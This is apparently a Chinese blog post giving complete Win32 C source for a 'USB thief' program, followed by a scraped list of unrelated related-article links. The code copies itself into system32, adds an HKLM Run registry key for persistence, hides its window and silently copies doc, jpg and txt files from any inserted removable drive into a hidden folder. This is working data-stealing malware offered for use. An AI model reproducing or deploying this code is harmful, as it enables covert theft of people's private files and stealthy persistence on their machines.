程序工作原理:

1、程序运行后将程序自身拷贝到系统目录。

2、写注册表,实现开机自启动。

3、在C盘下创建“U盘小偷”目录(文件夹),以存放偷来的文件。

4、检测是否有可移动设备插入电脑,如果有,获取当前系统时间,在"C:\U盘小偷"目录下创建以SYSTEMTIME结构体的部分成员为名字的文件夹,保存本次盗窃成果。

所有操作都在后台运行。

由于程序在运行的时候会写注册表,这个操作会被具有主动防御功能的杀毒软件拦截。

以下是程序源码:

#include "stdafx.h"

#include

#include

#include

#include

#include

#include "io.h"

#include "tlhelp32.h"

#include "stdio.h"

using namespace std;

void Dir(LPCTSTR lpPath);

LRESULT CALLBACK WndProc(

HWND hwnd, // handle to window

UINT uMsg, // message identifier

WPARAM wParam, // first message parameter

LPARAM lParam // second message parameter

);

int APIENTRY WinMain(HINSTANCE hInstance,

HINSTANCE hPrevInstance,

LPSTR lpCmdLine,

int nCmdShow)

{

WNDCLASS wndclass;

wndclass.cbClsExtra=0;

wndclass.cbWndExtra=0;

wndclass.hbrBackground=(HBRUSH)GetStockObject(BLACK_BRUSH);

wndclass.hCursor=LoadCursor(NULL,IDC_ICON);

wndclass.hIcon=LoadIcon(NULL,IDI_ASTERISK);

wndclass.hInstance=hInstance;

wndclass.lpfnWndProc=WndProc;

wndclass.lpszClassName="lieying";

wndclass.lpszMenuName=NULL;

wndclass.style=CS_VREDRAW|CS_HREDRAW;

RegisterClass(&wndclass); //注册窗口类

HWND hwnd;

hwnd=CreateWindow("lieying","",WS_OVERLAPPEDWINDOW,150,150,683,384,NULL,NULL,hInstance,NULL);

ShowWindow(hwnd,SW_HIDE); //隐藏窗体

UpdateWindow(hwnd);

MSG msg;

while(GetMessage(&msg,hwnd,0,0)) //消息循环

{

TranslateMessage(&msg);

DispatchMessage(&msg);

}

return 0;

}

LRESULT CALLBACK WndProc( HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam ) //窗口过程

{

switch(uMsg)

{

case WM_PAINT:

{

PAINTSTRUCT ps;

BeginPaint(hwnd,&ps);

EndPaint(hwnd,&ps);

break;

}

case WM_CLOSE:

{

return FALSE;

break;

}

case WM_DESTROY:

{

return FALSE;

break;

}

case WM_CREATE: //窗体创建时执行复制自身到系统目录,并写注册表实现开机启动。

{

TCHAR desdir[MAX_PATH]=TEXT("c:\\U盘小偷"); //创建目录,用来存放偷来的文件

CreateDirectory(desdir,NULL);

//文件复制

TCHAR ExeFullPath[MAX_PATH];

GetModuleFileName(NULL,ExeFullPath,MAX_PATH); //获取exe的全路径(包括文件名)

TCHAR NewFilePath[MAX_PATH]="C:\\WINDOWS\\system32\\USTeal.exe"; //指定文件Copy到哪里去。

CopyFile(ExeFullPath,NewFilePath,TRUE);

//写注册表,实现开机运行。

HKEY hkey;

TCHAR keyvalue[MAX_PATH]="C:\\WINDOWS\\system32\\USTeal.exe"; //判读下文件是否存在

TCHAR childkey[]=TEXT("Software\\Microsoft\\Windows\\CurrentVersion\\Run");

RegOpenKeyEx(HKEY_LOCAL_MACHINE,childkey,0,KEY_CREATE_SUB_KEY,&hkey);

RegSetValue(HKEY_LOCAL_MACHINE,childkey,REG_SZ,keyvalue,strlen(keyvalue));

RegCloseKey(hkey);

break;

}

case WM_DEVICECHANGE: //移动存储设备插入电脑会产生WM_DEVICECHANGE消息

{

if(lParam!=0)

{

PDEV_BROADCAST_HDR lpdb = (PDEV_BROADCAST_HDR)lParam; //定义PDEV_BROADCAST_HDR结构体,系统填充结构体信息。

if(lpdb->dbch_devicetype==DBT_DEVTYP_VOLUME)

{

if(wParam==DBT_DEVICEARRIVAL) //移动存储设备已经可用。

{

long i,j;

TCHAR buf[100];

TCHAR *cdbuf;

j=100;

i=GetLogicalDriveStrings(j,buf);

for(j=0;j

{

cdbuf=&buf[j];

if(GetDriveType(cdbuf)==DRIVE_REMOVABLE) //判断插入设备的类型是否为可移动设备

{

Dir((LPCTSTR)cdbuf);

}

}

}

}

}

}

break;

default:

{

return DefWindowProc(hwnd,uMsg,wParam,lParam);

break;

}

}

return 0;

}

void Dir(LPCTSTR lpPath)

{

TCHAR szFind[MAX_PATH];

lstrcpy(szFind,lpPath);

lstrcat(szFind,"\\*.*");

WIN32_FIND_DATA wfd;

HANDLE hFind=FindFirstFile(szFind,&wfd);

if(hFind == INVALID_HANDLE_VALUE)

return;

else

{

do

{

if (wfd.cFileName[0] == '.')

continue; //过滤本级目录和父目录

if (wfd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) //如果找到的是目录

{

TCHAR szFile[MAX_PATH];

lstrcpy(szFile,lpPath);

lstrcat(szFile,"\\");

lstrcat(szFile,wfd.cFileName);

Dir(szFile); // 递归

}

else //找到的是文件

{

TCHAR szFile[MAX_PATH];

lstrcpy(szFile,lpPath);

lstrcat(szFile,"\\");

lstrcat(szFile,wfd.cFileName);

int len=lstrlen(szFile);

TCHAR *p=&szFile[len-3];

if(lstrcmp(p,"doc")==0||lstrcmp(p,"jpg")==0||lstrcmp(p,"txt")==0) //要拷贝文件的后缀,我这里只拷贝doc,jpg,txt文件。

{

TCHAR szDes[MAX_PATH]=TEXT("C:\\U盘小偷\\");

TCHAR szTime[MAX_PATH];

SYSTEMTIME time;

GetLocalTime(&time); //获取当前系统时间,将文件夹的名字以SYSTEMTIME结构体的部分成员为目标文件名

wsprintf(szTime,"%d月%d日%d时%d分",time.wMonth,time.wDay,time.wHour,time.wMinute);

lstrcat(szDes,szTime);

CreateDirectory(szDes,NULL);

lstrcat(szDes,"\\");

lstrcat(szDes,wfd.cFileName);

CopyFile(szFile,szDes,FALSE); //拷贝文件

}

}

}

while(FindNextFile(hFind, &wfd));

FindClose(hFind);

}

}

c语言编写u盘杀毒软件,[原创]C语言SDK U盘小偷相关推荐

  1. 小学生数学测试软件编写分析,通过C语言编写小学生数学测试软件C语言课程设计...

    <通过C语言编写小学生数学测试软件C语言课程设计>由会员分享,可在线阅读,更多相关<通过C语言编写小学生数学测试软件C语言课程设计(14页珍藏版)>请在人人文库网上搜索. 1. ...

  2. c语言程序设计阶乘输出,C语言编写10的阶乘,用C语言编程求10的阶乘

    导航:网站首页 > C语言编写10的阶乘,用C语言编程求10的阶乘 C语言编写10的阶乘,用C语言编程求10的阶乘 匿名网友: 思路:先定义一个函数求一个数的阶乘,接着依次从1到10调用该函数就 ...

  3. c语言编写程序求8,使用c语言编写程式,实现计算1*2*3+4*5*6+7*8*9+……+28*29*30的值...

    使用c语言编写程式,实现计算1*2*3+4*5*6+7*8*9+--+28*29*30的值以下文字资料是由(历史新知网www.lishixinzhi.com)小编为大家搜集整理后发布的内容,让我们赶快 ...

  4. c语言编写坦克大战设计报告,c语言编写坦克大战源代码

    <c语言编写坦克大战源代码>由会员分享,可在线阅读,更多相关<c语言编写坦克大战源代码(10页珍藏版)>请在人人文库网上搜索. 1.include tank.h#include ...

  5. c语言编写万年历课程设计,用C语言编写万年历 C课程设计.pdf

    用C语言编写万年历 C课程设计 用用 C++语言编写万年历语言编写万年历 用用 语言编写万年历语言编写万年历 学生姓名:学生姓名: 指导老师:指导老师: 学生姓名学生姓名:: 指导老师指导老师:: 摘 ...

  6. 利用c语言编写一个时钟计时器(c语言基础练习)

    时间对于每个人都是宝贵的.人类从古至今都在发展计时设备和改善计时方法.远古时期,人类根据太阳和月亮的位置来判断时间.根据影子的方向长短来区分早晨.中午和黄昏.古代人也发明了很多计时的方法,日晷.沙漏. ...

  7. c语言编写数据存储的游戏,c语言经典小程序和c语言编写的小游戏带注释(自动保存的).doc...

    c语言经典小程序和c语言编写的小游戏带注释(自动保存的) 1.写一个定时?关机的小程?序,可以立即关?闭计算机,也可以一段?时间后关闭?计算机. #inclu?de #inclu?de #inclu? ...

  8. c语言编写的点菜程序,基于C语言实现点菜系统

    本文实例为大家分享了C语言点菜系统的具体代码,供大家参考,具体内容如下 用C语言编写的简单的餐厅点菜系统,操作简单,代码不多,菜单可以自己更改,价格也是 #include #include #incl ...

  9. 如何用c语言编写炫酷烟花程序,C语言实现放烟花的程序

    这是一个利用C语言编写放烟花的程序(同时也可以播放音乐),供大家参考,具体内容如下 代码如下 #pragma once #include #include //图形界面库头文件 #include // ...

最新文章

  1. 用C#实现支持gmail邮件发送
  2. Oracle 数据库表空间不足拓展方法实例演示,表空间剩余大小查看,通过新增表空间文件拓展表空间,表空间文件路径查看
  3. Arduino--LCD1602(4bit)
  4. Balanced Ternary String
  5. java \t怎么从头开始_如何从头开始以正确的面向对象方式创建Java Web Framework
  6. 轻量级的开源集成:Apache Camel还是Spring集成?
  7. C++11 并发指南二(std::thread 详解)
  8. 小米平板5有望8月发布:骁龙870+120Hz刷新率屏
  9. 安装Nginx到linux服务器(Ubuntu)详解
  10. OLTP与OLAP介绍
  11. 令人震惊的电子邮件归档调查
  12. 实时 摔倒识别 /运动分析/打架等异常行为识别/控制手势识别等所有行为识别全家桶 原理 + 代码 + 数据+ 模型 开源!
  13. 在Linux上配置DRBD部署
  14. 闭关修炼(四)并发包/类
  15. python爬取qq空间说说
  16. 中国纯电动车新车质量蔚来、特斯拉、欧拉列前三;长城汽车计划将P系列皮卡推向全球市场 | 美通企业日报...
  17. 怎样查看计算机全名?
  18. FOC中电流环调试的宝贵经验总结(有理有据+全盘拖出)
  19. 华为,在行星的十字路口
  20. 面结构光测量中DLP投影机学习

热门文章

  1. 串口调试工具 O-ComTool V1.1.3
  2. 智慧物业管理系统操作流程
  3. 【智慧物业管理系统笔记】1、SpringBoot项目详细创建步骤
  4. 如何分析公众号后台数据?
  5. WindowForm窗口美化
  6. apche和nginx分别与php的连接方式区别
  7. 购买 MathType Academic操作流程
  8. 创业第9天,竞价助手3.0 测试预览版发布!
  9. 色选机和筛选机的区别?
  10. 工程流体力学笔记暂记29 (局部损失系数)